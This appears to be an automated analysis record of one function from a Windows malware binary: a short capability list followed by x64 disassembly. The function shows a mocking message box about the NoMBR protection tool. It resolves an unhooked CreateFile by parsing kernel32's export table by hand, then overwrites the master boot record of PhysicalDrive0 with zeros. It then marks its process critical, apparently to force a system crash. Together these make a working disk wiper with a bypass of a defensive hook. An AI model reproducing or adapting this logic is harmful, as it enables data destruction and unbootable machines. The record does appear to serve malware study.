Function at 0x1400156c0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push rbp
push r15
sub rsp, 0x4d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
xor r15d, r15d
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rsp + 0x44], r15
mov dword [rsp + 0x4c], r15d
mov dword [rsp + 0x6c], r15d
mov qword [rsp + 0x78], r15
movdqa xmmword [rsp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x50
mov qword [rsp + 0x50], rax
lea rax, str.Bro_really_tried_using_NoMBR
mov qword [rsp + 0x60], rax
lea rax, str.Aint_no_way
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x68], 0x80
mov qword [rsp + 0x70], 0x78
call qword [sym.imp.USER32.dll_MessageBoxIndirectW]
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, 0x104
lea rax, [rsp + 0xa0]
nop
cmp word [rax], r15w
je 0x140015790
add rax, 2
sub rcx, 1
jne 0x140015780
mov eax, 0x104
sub rax, rcx
test rcx, rcx
cmove rax, r15
je 0x1400157f6
mov edx, 0x104
lea rcx, [rsp + 0xa0]
lea rcx, [rcx + rax*2]
sub rdx, rax
je 0x1400157e7
lea r9, [0x14001c560]
mov eax, 0x7ffffffe
sub r9, rcx
test rax, rax
je 0x1400157e7
movzx r8d, word [r9 + rcx]
test r8w, r8w
je 0x1400157e7
mov word [rcx], r8w
dec rax
add rcx, 2
sub rdx, 1
jne 0x1400157c6
test rdx, rdx
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r15w
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 1
lea rcx, [rsp + 0xa0]
mov edx, 0xa0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140015b81
mov ecx, 0x210
mov qword [rsp + 0x4f8], rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140015867
lea rcx, str.out_of_mem_n
call fcn.1400023e0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140015b79
mov qword [rsp + 0x500], rdi
xor edx, edx
lea rdi, [rax + 4]
mov r8d, 0x209
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x210
mov dword [rsi], 0x104
mov r8, rsi
mov edx, 2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
test eax, eax
jne 0x1400158c7
lea rcx, str.GetFileInformationByHandleEx_failed_n
call fcn.1400023e0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140015b71
cmp word [rsp + 0xa0], 0x3a
mov qword [rsp + 0x4f0], rbx
lea rbx, [rsp + 0xa0]
mov qword [rsp + 0x4c0], r14
je 0x1400158fa
nop word [rax + rax]
add rbx, 2
cmp word [rbx], 0x3a
jne 0x1400158f0
add rbx, 2
lea rcx, str.Requested:__ls_nGathered:___ls_n
mov rdx, rbx
mov r8, rdi
call fcn.140013950
sub rdi, rbx
movzx ecx, word [rbx]
movzx eax, word [rbx + rdi]
sub ecx, eax
jne 0x140015926
add rbx, 2
test eax, eax
jne 0x140015913
test ecx, ecx
je 0x140015936
lea rcx, str.Newer_hook_detected_n
call fcn.1400023e0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rax, str.originalDLL
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov r8d, 0x1000020
mov dword [rsp + 0x20], r15d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
test rax, rax
jne 0x140015974
mov rcx, rbp
jmp 0x140015b5b
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov rcx, r14
lea edx, [r9 + 0x24]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x140015b4f
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x140015b46
movsxd rax, dword [rdi + 0x3c]
mov edx, 0x10b
movzx ecx, word [rax + rdi + 0x18]
cmp cx, dx
jne 0x1400159bf
mov ecx, dword [rax + rdi + 0x78]
jmp 0x1400159d4
mov edx, 0x20b
cmp cx, dx
jne 0x140015b46
mov ecx, dword [rax + rdi + 0x88]
mov eax, ecx
mov esi, r15d
mov qword [rsp + 0x4d0], r12
mov qword [rsp + 0x4c8], r13
mov r12d, dword [rax + rdi + 0x1c]
mov ebx, dword [rax + rdi + 0x20]
add r12, rdi
mov r13d, dword [rax + rdi + 0x24]
add rbx, rdi
mov r15d, dword [rax + rdi + 0x18]
add r13, rdi
test r15d, r15d
je 0x140015b19
nop
mov ecx, dword [rbx]
lea rdx, [0x14001c620]
add rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140015a35
inc esi
add rbx, 4
cmp esi, r15d
jb 0x140015a10
jmp 0x140015b19
mov eax, esi
movzx ecx, word [r13 + rax*2]
mov ebx, dword [r12 + rcx*4]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rax, [rbx + rdi]
xor r9d, r9d
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
mov edx, 0x10000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call rax
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140015b19
xor edx, edx
mov dword [rsp + 0x90], ebx
mov r8d, 0x200
lea rcx, [rsp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
lea rdx, [rsp + 0x2b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140015b10
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140015b06
lea rdx, str.RtlSetProcessIsCritical
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xdeaddead
call fcn.1400024c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x4c8]
mov r12, qword [rsp + 0x4d0]
jmp 0x140015b61
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x4f0]
mov r14, qword [rsp + 0x4c0]
mov rdi, qword [rsp + 0x500]
mov rsi, qword [rsp + 0x4f8]
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.14001a080
add rsp, 0x4d8
pop r15
pop rbp
ret